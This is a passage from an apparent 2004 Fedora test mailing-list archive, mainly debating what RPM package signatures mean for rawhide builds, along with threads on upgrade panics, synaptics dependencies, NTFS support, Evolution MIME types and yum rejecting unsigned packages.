that is not all it guarantees. Fedora and Red Hat (and arguably Seth ;) are in a unique position regarding policy around RPM, and because of this we must be very careful. If, for any repository, we use our current signature method to signify *only* that the repository is the source of the package, then we necessarily give up all other meanings of it for all other repositories. All of that being said, this is not an insurmountable problem. In fact, there are fairly straightforward methods to gain this verification, although they are not necessarily trivial by any stretch of the imagination. But first, we have to be clear about what we've got right now, because it's not completely obvious. Usually we see a package as: 1) payload 2) headers, which contain checksums on header and payload data 3) a signature on #2. But a better way of considering these parts is this: 1) payload 2) headers, which includes checksums on header and payload data 3) a certificate, which is completely implied, derived from the checksum data in the headers, and the header entries specifying the source of the package. 4) a signature on #3. Right now, that certificate conveys both trust that the checksums are correct, and trust on the source of the package. The important part of these meanings are in the eye of the beholder. We cannot say that a signature means only one thing without permanently giving up the other. So what we need if we want to imply only the source is another signed certificate. This can either be in the package, as our current rather ethereal certificate is, or it can be separate. It still has to include some way to verify which package you're talking about, and it still needs to have a signature. The easy way to get this is to generate a metadata file when we push rawhide out, and to give it a certificate with a signature. There is still some complication, though, which is that package fetching utilities such as yum and up2date would need to be taught to only check that the source is correct in situations where that's all they care about. -- Peter "Don't everyone thank me at once!" -- Solo From pjones at redhat.com Mon Nov 1 16:47:48 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 11:47:48 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099091519.9532.39.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1098985082.3555.8.camel@localhost.localdomain> <604aa7910410281201afdeef7@mail.gmail.com> <1098994497.3555.87.camel@localhost.localdomain> <1098998238.3373.18.camel@rodolfo.gt.factorrent.com> <1098999606.3555.108.camel@localhost.localdomain> <1099007042.3392.23.camel@localhost.localdomain> <1099062694.4019.128.camel@gibraltar.stuttgart.redhat.com> <1099069580.3385.10.camel@rodolfo.gt.factorrent.com> <1099071451.4019.169.camel@gibraltar.stuttgart.redhat.com> <1099075545.3370.23.camel@ip99.gt.factorrent.com> <1099083401.3429.23.camel@localhost.localdomain> <1099089237.3370.44.camel@ip99.gt.factorrent.com> <1099091519.9532.39.camel@localhost.localdomain> Message-ID: <1099327668.25045.51.camel@localhost.localdomain> On Sat, 2004-10-30 at 01:11 +0200, Matias F?liciano wrote: > Since rawhide have some unsigned packages I like to know which package > is not signed and I sign them with my key (so yum always have > "gpgcheck=1") : > I mirror rawhide in the i386 directory with rsync, and then I sign > package that miss gpg. > Note, I don't sign (that is, change) any package in i386 directory > (rsync does not like this). When somebody organizes a man-in-the-middle attack between you and whichever site you rsync rawhide from , you sign the packages anyway. Can you see how this is a big problem? -- Peter From markmc at redhat.com Mon Nov 1 17:06:17 2004 From: markmc at redhat.com (Mark McLoughlin) Date: Mon, 01 Nov 2004 17:06:17 +0000 Subject: Gnome can not start In-Reply-To: <38f00b2a041101063115345713@mail.gmail.com> References: <38f00b2a041101063115345713@mail.gmail.com> Message-ID: <1099328777.17095.1.camel@blaa> Hi, On Mon, 2004-11-01 at 14:31, Darek Borkowski wrote: > http://bednar.prv.pl/debug > > I did the test with strace. The output of strace as good and bad > ~/.gnome2/session files are accesible at: > > http://bednar.prv.pl/debug > > I hope this help in fixing problem. Thanks - please add the the info to one of the bug reports. Cheers, Mark. From rpaiz at simpaticus.com Mon Nov 1 17:10:20 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 01 Nov 2004 11:10:20 -0600 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> Message-ID: <1099329020.3557.45.camel@localhost.localdomain> On Mon, 2004-11-01 at 00:42 -0600, Satish Balay wrote: > yum doesn't depend on synaptics. (so removing up2date should be ok) > And I don't see the cups depending on synaptics... > Satish, I can't seriously believe you find it OK for all that stuff you listed to depend on synaptics. Besides, on my RC5 system that's not all. Attempting to remove xorg-x11-libs and xorg-x11-Mesa-libGL says they are required by synaptics, which in turn is required by rhpl, and there goes most of the Fedora-specific stuff like up2date. Attempting to remove cups takes a similar path, since freetype and fontconfig depend on xorg* and there you go. So yes, unless I remove rhpl and up2date, I cannot remove synaptics. I just do not find it reasonable that the dependencies of a touchpad can be that far-reaching. Cheers, -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mpeters at mac.com Mon Nov 1 17:26:21 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 01 Nov 2004 17:26:21 +0000 Subject: Gnome can not start In-Reply-To: <38f00b2a04110106091f9d3760@mail.gmail.com> (from bednar007@gmail.com on Mon Nov 1 06:09:25 2004) References: <38f00b2a04110106091f9d3760@mail.gmail.com> Message-ID: <1099329981l.3989l.0l@devel.mpeters.us> On 11/01/2004 06:09:25 AM, Darek Borkowski wrote: > I forgot to add some info: > gnome-session-2.6.0-4, > FC2 was not clean install but upgrade form FC1, where I had same > problem. > FC1 was clean install. > > Darek Borskowski > > I'm just curious - I don't have this problem, my /home has been from RH8 to LFS to FC2 to FC1 to FC2 to FC3Test. I wonder if the problem is a specific application doing something it shouldn't do. Note that I always do a clean install of the OS, but I keep the same home directory and thus all of the same settings. Are you running any third party updates to fedora provided software? From awd at DDG.com Mon Nov 1 17:26:19 2004 From: awd at DDG.com (Andrew W. Donoho) Date: Mon, 1 Nov 2004 11:26:19 -0600 Subject: FC3rc5 In-Reply-To: References: <873276BD-2AF8-11D9-B0E7-000A9566A350@DDG.com> <1A27EB69-2C22-11D9-A4C0-000A9566A350@DDG.com> Message-ID: <24E92196-2C2B-11D9-A4C0-000A9566A350@DDG.com> On Nov 1, 2004, at 10:41, Elliot Lee wrote: > On Mon, 1 Nov 2004, Andrew W. Donoho wrote: > >> On Oct 31, 2004, at 11:17, Andrew W. Donoho wrote: >>> On Oct 30, 2004, at 23:51, Andrew W. Donoho wrote: >>>> I tried to upgrade an FC2 SMP i686 system on an LVM managed disk. >>>> The system did not update grub properly. When I hand edited grub, >>>> the >>>> system then panicked. I'll report more later after I've had time to >>>> dig in deeper. >>> >>> >>> Folks, >>> >>> I tried re-updating the system. I got the same error: >>> >>> After NASH loads: >>> >>> mount: error 6 mounting ext3 >>> mount: error 2 mounting none >>> switchroot: mount failed: 22 >>> umount /initrd/dev failed 2 >>> Kernel panic - not syncing: Attempted to kill init! > >>> I'll keep the system this way for awhile waiting for someone's >>> response to these messages. Otherwise I'll scrub the drive and >>> restart >>> from scratch. Bear in mind that this system was running fine under >>> FC2. >> >> Folks, >> >> Does anybody want to know what went wrong upgrading my system from >> FC2 >> -> FC3rc5? I don't know where to start sleuthing to tell you what went >> wrong. The system boots fine with the FC3rc5 Rescue disk. Therefore, I >> can go traipsing through the file system. So a response from someone, >> perhaps FC3rc5 test requester, Mr. Lee, would be appreciated. Or was >> this community testing request hoo-ha just a waste of all of our time? > > We'd need more information on the problem, and some sort of diagnosis, > before a fix would be possible. We also need a report in bugzilla with > these details. > > If it's not in bugzilla, it's not a bug, :) OK, the above is repeated in Bugzilla #: 137807. I would be happy to get any log/config file you need off of the system. If the rescue CD supports SSH, you could even log into the machine as it has its own public IP address. Andrew ____________________________________ Andrew W. Donoho awd at DDG.com, PGP Key ID: 0x81D0F250 +1 (512) 453-6652 (o), +1 (512) 750-7596 (m) -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 172 bytes Desc: not available URL: From pjones at redhat.com Mon Nov 1 17:27:26 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 12:27:26 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1099330047.25045.73.camel@localhost.localdomain> On Fri, 2004-10-29 at 12:57 +0200, Nils Philippsen wrote: > > The question is still one of gains versus losses. I personally think we > > gain more by _not_ signing them. If we automatically sign them, we make > > it more convenient for people who don't want to use --nosig or whatnot > > on rawhide packages. > > If we don't sign packages we make it basically impossible for people to > check where a specific package comes from. Yes, but the current signing method does not do _precisely_ that. It does many things, and that is one affect. > There is nothing else that a signature on a package says. That's simply not true. It says that we intended to release it in a form that is fit to be used. (Although clearly it does not imply any warranty, including the implied warranties of merchantability and fitness for a particular purpose ;) It says we believe that the actual data in the package headers -- the scriptlets, the triggers, the conflicts, the provides, etc. -- are of a quality that Fedora believes is sufficient for release. These things are Red Hat's and Fedora's value add, and a signature says that we believe we've actually added value. It also conveys that some packager whom we trust has looked over the payload and does not consider its contents to be *hostile* to our users. Consider RHEL errata. When RH releases an erratum, the signature doesn't just say "this is some package from Red Hat". It says that you can use the signature, combined with the checksums and the data in the erratum. For what can they be used? You should already know the answer here. What the signature provides is a way to verify Red Hat's intent and belief that the package in the user's hands does actually fix the problems described in the erratum, and to some (lesser) extent that it does not introduce more problems So, no, it's not just that it comes from Red Hat. That's really a more minor point of what it's for. > > That's not a win. In fact, it's a big loss. If the packages are > > automatically signed during the build process, the only thing the > > signature means is "it showed up in the queue of things to be signed". > > But if you see a signed package, the impression you get is that it is in > > some way "trusted". Of course, it isn't trusted. It's just got a > > signature that says "don't make the user type --nosig". > > That's a misinterpretation of the signature on the package. We shouldn't > sign or not sign packages based on how people could misconceive what > such a signature means. We should sign packages so people can verify > that these packages are actually from us and haven't been tampered with > in the meantime. We always have used signing to mean more than just this, and the other things are equally important, if not more so, to us. We can't mean just that the transport is ok without giving the rest up. We cannot have it mean one thing sometimes, and more things some other times, unless the signatures have actual data about what they represent *built in*. Who is signing it is not enough, and that's currently all we have. If the only way to tell the difference in what the signatures mean is the key of the signer, then most people who *do* care will never know what any signature means. So yes, we both agree that we "should sign packages" (or some data that can be securely matched with it, like the metadata) "so people can verify that these packages are actually from us and haven't been tampered with in the meantime." What we don't agree on is the fact that this is very much NOT what we currently do with signatures. -- Peter "Obviously, a major malfunction has occurred." -- Steve Nesbitt, voice of Mission Control, January 28, 1986, as the shuttle Challenger exploded within view of the grandstands. From pjones at redhat.com Mon Nov 1 17:30:20 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 12:30:20 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> Message-ID: <1099330220.25045.77.camel@localhost.localdomain> On Fri, 2004-10-29 at 15:36 +0200, Nils Philippsen wrote: > On Fri, 2004-10-29 at 09:18 -0400, William Hooper wrote: > > John Burton said: > > [snip] > > > As far as signing packages vs. signing meta-data... Digital signatures > > > are like real signatures, you want to make sure they are actually attached > > > to what you are signing. > > [snip] > > > > IIRC the discussion was that signed meta-data would have the signatures > > attached to the MD5sums of the packages. The MD5sums of the download > > could then be checked against the meta-data, verifying that the package is > > the same as the package used to create the meta-data. > > This still forces me to use special tools like up2date and yum to access > the packages if I want to verify their origins. See my mail (earlier today) regarding the fact that our package signatures represent an implied certificate. What we want is another certificate, preferably of a type that is not implied. This could be stored (assuming it has the cryptographic hashes of the package in it) in either the metadata or in the package itself. What's important is that it can be differentiated from the normal package signature in a programmatic way which does not require knowledge of specific signing keys. -- Peter "Obviously, a major malfunction has occurred." -- Steve Nesbitt, voice of Mission Control, January 28, 1986, as the shuttle Challenger exploded within view of the grandstands. From balay at fastmail.fm Mon Nov 1 17:31:42 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 11:31:42 -0600 (CST) Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099329020.3557.45.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> <1099290666.3557.30.camel@localhost.localdomain> <1099329020.3557.45.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Rodolfo J. Paiz wrote: > On Mon, 2004-11-01 at 00:42 -0600, Satish Balay wrote: > > yum doesn't depend on synaptics. (so removing up2date should be ok) > > And I don't see the cups depending on synaptics... > > > > Satish, I can't seriously believe you find it OK for all that stuff you > listed to depend on synaptics. Besides, on my RC5 system that's not all. > Attempting to remove xorg-x11-libs and xorg-x11-Mesa-libGL says they are > required by synaptics, which in turn is required by rhpl, and there goes > most of the Fedora-specific stuff like up2date. > > Attempting to remove cups takes a similar path, since freetype and > fontconfig depend on xorg* and there you go. So yes, unless I remove > rhpl and up2date, I cannot remove synaptics. > > I just do not find it reasonable that the dependencies of a touchpad can > be that far-reaching. Well - you want to remove all x/gui packages anyway - and most (if not all) synaptic dependent packages (including up2date) are gui packages anyway - hence should be reomved (according to your minimal spec) And I didn't think loosing up2date was a big deal - as yum would suffice in your minimal install. At one point - I thought you wanted to remove python as well - in which case you can fall-back on 'apt' to provide updates. There is always a tradeoff on pushing synaptics into 'rhpl' - now multiple tools that might depend-on/configure synaptics can now use some common code from 'rhpl'. Perhaps you could argue that rhpl should be split up into rhpl/rhpl-gui (not sure if this is feasiable or justified) Could you list which packgaes you'd like to see gone (and are unable to remove) - which would add up to the 40M of savings? Synaptics by itself is 40k - so thats not it. Satish From pjones at redhat.com Mon Nov 1 17:35:54 2004 From: pjones at redhat.com (Peter Jones) Date: Mon, 01 Nov 2004 12:35:54 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> Message-ID: <1099330554.25045.81.camel@localhost.localdomain> On Fri, 2004-10-29 at 09:44 -0500, Ian Pilcher wrote: > Jeff Spaleta wrote: > > > > Can rawhide packages be automatically signed... of course > > Does autosigning help the intended, well informed, audience of the > > rawhide packages... yes > > Does autosigning hurt the unintended, un-informed or mis-informed > > audience... i think it does. > > > > So you're suggesting that the use of signed packages should be limited > by some "least common denominator" of ignorant users? I suspect that > if you broadly adopt that principle, you won't be real happy with the > results. No, this is the wrong problem to discuss. The problem isn't that the users are ignorant. The problem is that we've systematically taught them what to expect a signature means, and we're going back and saying that sometimes -- only sometimes -- it only means part of that. That's a serious flaw, and it's one we must address before we consider implementing any sort of automatic signatures. The way to do so is to separate the task of verifying the source (or even the chain of sources, if there are mirrors of mirrors) from that of verifying trust of the contents. -- Peter From kevin.hobbs.1 at ohiou.edu Mon Nov 1 14:56:34 2004 From: kevin.hobbs.1 at ohiou.edu (Kevin H. Hobbs) Date: Mon, 01 Nov 2004 09:56:34 -0500 Subject: NTFS filesystem... In-Reply-To: <4182436D.3030807@gats-inc.com> References: <4182436D.3030807@gats-inc.com> Message-ID: <1099320994.1715.10.camel@gargon.hooperlab> On Fri, 2004-10-29 at 09:19, John Burton wrote: > Greetings once again... > > Before I subscribed to this list, I sent a message which is currently > being held by the moderators (no problem). Here is my porblem.... > > I have a dual boot laptop, Windows XP on the first partition (/dev/hda1) > and FC3-RC1 (updated via yum on 10/28 to kernel 2.6.9-1.643). /dev/hda1 > is formatted NTFS. Other versions of Linux including FC2 have allowed me > access to NTFS filesystems. But now I get > > > [root at traveler john]# mount /dev/hda1 /mnt/C > > mount: fs type ntfs not supported by kernel > > Which is not what I need. Unfortunately since there isn't a > kernel-source rpm available, I can't easily compile a ntfs module. > Being able to read the ntfs partition is critical, being able to write > to it isn't. Since the actual release of FC3 is near, are there any > plans to include ntfs support in the released version? > > John > > > ______________________________________________________________________ > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list If you end up trying to build the module that is part of the kernel you might want to tale a look at http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=130754 http://crab-lab.zool.ohiou.edu/kevin/kernel-compilation-tutorial-en/ They suggest a kernel build process from the kernel-XXX.src.rpm -------------- next part -------------- A non-text attachment was scrubbed... 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TIA WPH From aoliva at redhat.com Mon Nov 1 17:58:10 2004 From: aoliva at redhat.com (Alexandre Oliva) Date: 01 Nov 2004 14:58:10 -0300 Subject: Kudos to whomever worked on the synaptics touchpad driver ! In-Reply-To: <1099245855.4691.5.camel@localhost.localdomain> References: <1099245855.4691.5.camel@localhost.localdomain> Message-ID: On Oct 31, 2004, Kim Lux wrote: > a) I dislike the "select when heldover" because it sometimes opens > things I don't want to have opened. Is there a way to disable this ? /usr/share/doc/synaptics*/README > b) The cursor gets a little jumpy in the corners, most noticeably when > trying to open the menu in KDE. I'm wondering if there is something in > the cursor positioning algorithm that causes this. Edge scrolling? You can turn that off if you like. > Question: is there a way to set the synaptics device parameters in a > graphical tool, ie like system-config-mouse ? There is such a graphical tool, but it's not in Fedora Core, and you have to have SHMConfig enabled. I don't remember the exact name of the tool, but I googled around for it a bit and found it very quickly. -- Alexandre Oliva http://www.ic.unicamp.br/~oliva/ Red Hat Compiler Engineer aoliva@{redhat.com, gcc.gnu.org} Free Software Evangelist oliva@{lsd.ic.unicamp.br, gnu.org} From sopwith at redhat.com Mon Nov 1 18:00:07 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 1 Nov 2004 13:00:07 -0500 (EST) Subject: fc3test upgrade to fc3 final In-Reply-To: References: <1099082567.12671.32.camel@keny.praguesoft.cz> Message-ID: On Fri, 29 Oct 2004, Andrew W. Donoho wrote: > > On Oct 29, 2004, at 15:47, Elliot Lee wrote: > > (a) Test releases are meant for testing only (which means you can't > > count > > on them to remain useful when final releases come around) > > (b) upgrading via yum is not supported. Sometimes it works, sometimes > > it > > doesn't. > > And what should be my expectation for rc releases? The same... "It ain't over till it's over." However, the set of changes from rcN -> final will be a lot smaller, so if you like taking risks and know how to manage them by resurrecting a broken system yourself, the odds are highly in favor of a successful upgrade. -- Elliot From feliciano.matias at free.fr Mon Nov 1 18:02:48 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Mon, 01 Nov 2004 19:02:48 +0100 Subject: Should Fedora rpms be signed? In-Reply-To: <1099327668.25045.51.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1098985082.3555.8.camel@localhost.localdomain> <604aa7910410281201afdeef7@mail.gmail.com> <1098994497.3555.87.camel@localhost.localdomain> <1098998238.3373.18.camel@rodolfo.gt.factorrent.com> <1098999606.3555.108.camel@localhost.localdomain> <1099007042.3392.23.camel@localhost.localdomain> <1099062694.4019.128.camel@gibraltar.stuttgart.redhat.com> <1099069580.3385.10.camel@rodolfo.gt.factorrent.com> <1099071451.4019.169.camel@gibraltar.stuttgart.redhat.com> <1099075545.3370.23.camel@ip99.gt.factorrent.com> <1099083401.3429.23.camel@localhost.localdomain> <1099089237.3370.44.camel@ip99.gt.factorrent.com> <1099091519.9532.39.camel@localhost.localdomain> <1099327668.25045.51.camel@localhost.localdomain> Message-ID: <1099332168.3324.13.camel@localhost.localdomain> Le lundi 01 novembre 2004 ? 11:47 -0500, Peter Jones a ?crit : > On Sat, 2004-10-30 at 01:11 +0200, Matias F?liciano wrote: > > > Since rawhide have some unsigned packages I like to know which package > > is not signed and I sign them with my key (so yum always have > > "gpgcheck=1") : > > I mirror rawhide in the i386 directory with rsync, and then I sign > > package that miss gpg. > > Note, I don't sign (that is, change) any package in i386 directory > > (rsync does not like this). > > When somebody organizes a man-in-the-middle attack between you and > whichever site you rsync rawhide from , you sign the packages anyway. > Can you see how this is a big problem? > I don't understand your point. If you think what I am doing is completely useless, you are right. I just enjoy a placebo effect :-) Second point, right now there are three unsigned packages : rpmdb-fedora-3-0.20041101.i386.rpm gthumb-2.4.2-4.i386.rpm fedora-release-3-rawhide.noarch.rpm Should I set "gpgcheck=0" in yum.conf only for these three package ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From sopwith at redhat.com Mon Nov 1 18:14:14 2004 From: sopwith at redhat.com (Elliot Lee) Date: Mon, 1 Nov 2004 13:14:14 -0500 (EST) Subject: Issue in glibc in FC3T3 ? In-Reply-To: <1098976902.8067.6.camel@localhost.localdomain> References: <1098974141.5158.3.camel@localhost.localdomain> <20041028145807.GN8596@redhat.com> <1098976902.8067.6.camel@localhost.localdomain> Message-ID: On Thu, 28 Oct 2004, Kim Lux (Mr.) wrote: > I did a freshen of both Qt and Glibc and now I've got prelink and ld > running as root !!!!???? Prelink is stealing all my cpu cycles. What is > up with that ? I finally had to kill it.. prelink speeds up app startup - it does the work once to save startup times repeatedly. -- Elliot From douglas.furlong at firebox.com Mon Nov 1 18:13:50 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Mon, 01 Nov 2004 18:13:50 +0000 Subject: Where are the mime-types in Evolution 2.0 In-Reply-To: <1099331601.18497.4.camel@localhost.localdomain> References: <20041101170029.E4FF47344A@hormel.redhat.com> <1099331601.18497.4.camel@localhost.localdomain> Message-ID: <1099332830.31242.10.camel@douglas-furlong.firebox.com> On Mon, 2004-11-01 at 09:53 -0800, William Hewitt wrote: > I installed Fedora Rc3 and with it came Evolution 2.0..... The mime- > types definition seems to have disappeared and I am wondering where the > heck Evolution gets the mime-types..... > My only option now is to "Save as..." when I select an attachment..... > > Additionally, I'd like to modify the Nautilus mime-types..... Save the file to your desktop (or place of choice) right click on it, select open with and specify the program. Now go back to Evolution, and you will see the change is picked up there. They share the mime type associations. -- Douglas Furlong Systems Administrator Firebox.com T: 0870 420 4475 F: 0870 220 2178 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From balay at fastmail.fm Mon Nov 1 18:24:19 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 12:24:19 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099330554.25045.81.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> Message-ID: On Mon, 1 Nov 2004, Peter Jones wrote: > On Fri, 2004-10-29 at 09:44 -0500, Ian Pilcher wrote: > > Jeff Spaleta wrote: > > > > > > Can rawhide packages be automatically signed... of course > > > Does autosigning help the intended, well informed, audience of the > > > rawhide packages... yes > > > Does autosigning hurt the unintended, un-informed or mis-informed > > > audience... i think it does. > > > > > > > So you're suggesting that the use of signed packages should be limited > > by some "least common denominator" of ignorant users? I suspect that > > if you broadly adopt that principle, you won't be real happy with the > > results. > > No, this is the wrong problem to discuss. The problem isn't that the > users are ignorant. The problem is that we've systematically taught > them what to expect a signature means, and we're going back and saying > that sometimes -- only sometimes -- it only means part of that. > > That's a serious flaw, and it's one we must address before we consider > implementing any sort of automatic signatures. The way to do so is to > separate the task of verifying the source (or even the chain of sources, > if there are mirrors of mirrors) from that of verifying trust of the > contents. Are you saying - currently when a package is gpg-signed by a person - he/she actually goes through a manual process of verifying the following? - source is not tampered (including the intial .tar.gz, patches, .spec files) - binary is not tampered - source -> binary process didn't introduce 'ANY' tampering? If not - I don't see any big change - as far as user perception goes on gpg-sigining on build system. For us users there is no confusion: - 'rawhide-key' is different from 'redhat-key' - so there is no confusion here. - 'gpg' singed packages doesn't => stability (aka rawhide can always eat data) - so no confusion here.. Satish From lux at diesel-research.com Mon Nov 1 18:36:09 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 11:36:09 -0700 Subject: yum errors on unsigned package and on --exclude Message-ID: <1099334169.5665.8.camel@localhost.localdomain> I am trying to update my FC3rc3 installation using yum. I've done a yum install yum. Everything appears to work OK until I receive this error: Update: python.i386 0:2.3.4-11 Update: python-devel.i386 0:2.3.4-11 Update: system-config-packages.noarch 0:1.2.20-1 Update: up2date.i386 0:4.3.47-5 Update: up2date-gnome.i386 0:4.3.47-5 Update: xinitrc.noarch 0:4.0.14-1 Is this ok [y/N]: y Downloading Packages: unsigned package //var/cache/yum/development/packages/gthumb-2.4.2-4.i386.rpm So then I try to exclude it from the update and because it doesn't find a match for it, it won't proceed with the update: Could not find update match for --exclude=gthumb-2.4.2-2 No Packages marked for Update/Obsoletion "Packages" I've tried: gthumb gthumb-2.4.2-2 gthumb-2.4.2-4 gthumb-2.4.2-4.i386 gthumb-2.4.2-i386.rpm up2date has a similar sort of problem in that it will error out because one package isn't signed. How do I get my update done ? What am I missing about using --exclude ? Thanks From bednar007 at gmail.com Mon Nov 1 18:36:51 2004 From: bednar007 at gmail.com (Darek Borkowski) Date: Mon, 1 Nov 2004 19:36:51 +0100 Subject: Gnome can not start Message-ID: <38f00b2a041101103652d700f@mail.gmail.com> Hi I put strace results in bug #134169 as test was performed on FC2 and this bug is reslated to FC2. As soon as I do tests in FC3 I will add results to adequate bug reports for FC3. regards Darek Borkowski From lux at diesel-research.com Mon Nov 1 18:37:30 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 01 Nov 2004 11:37:30 -0700 Subject: NTFS filesystem... In-Reply-To: <1099320994.1715.10.camel@gargon.hooperlab> References: <4182436D.3030807@gats-inc.com> <1099320994.1715.10.camel@gargon.hooperlab> Message-ID: <1099334250.5665.10.camel@localhost.localdomain> I've got the same problem with not having a kernel source rpm with respect to ntfs as well as using Nvidia drivers. How do we get a kernel source RPM ? A changelog would be nice too... Thanks On Mon, 2004-11-01 at 09:56 -0500, Kevin H. Hobbs wrote: > On Fri, 2004-10-29 at 09:19, John Burton wrote: > > Greetings once again... > > > > Before I subscribed to this list, I sent a message which is currently > > being held by the moderators (no problem). Here is my porblem.... > > > > I have a dual boot laptop, Windows XP on the first partition (/dev/hda1) > > and FC3-RC1 (updated via yum on 10/28 to kernel 2.6.9-1.643). /dev/hda1 > > is formatted NTFS. Other versions of Linux including FC2 have allowed me > > access to NTFS filesystems. But now I get > > > > > [root at traveler john]# mount /dev/hda1 /mnt/C > > > mount: fs type ntfs not supported by kernel > > > > Which is not what I need. Unfortunately since there isn't a > > kernel-source rpm available, I can't easily compile a ntfs module. > > Being able to read the ntfs partition is critical, being able to write > > to it isn't. Since the actual release of FC3 is near, are there any > > plans to include ntfs support in the released version? > > > > John > > > > > > ______________________________________________________________________ > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > If you end up trying to build the module that is part of the kernel you > might want to tale a look at > > http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=130754 > > http://crab-lab.zool.ohiou.edu/kevin/kernel-compilation-tutorial-en/ > > They suggest a kernel build process from the kernel-XXX.src.rpm > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From wphewitt at bpa.gov Mon Nov 1 18:40:37 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Mon, 01 Nov 2004 10:40:37 -0800 Subject: Where are the mime-types in Evolution 2.0 Message-ID: <1099334437.18984.8.camel@localhost.localdomain> > Save the file to your desktop (or place of choice) right click on it, > select open with and specify the program. > Now go back to Evolution, and you will see the change is picked up > there. They share the mime type associations. That is how I thought it should work, but it apparently it doesnt on this installation..... so, I am modifying my question to : Where is the definition file for Nautilus (system-wide) Mime-Types? I seem to have a bunch of cruft in there (wherever it is) already that I would also like to remove... TIA WPH -------------- next part -------------- An HTML attachment was scrubbed... URL: From balay at fastmail.fm Mon Nov 1 18:40:44 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 1 Nov 2004 12:40:44 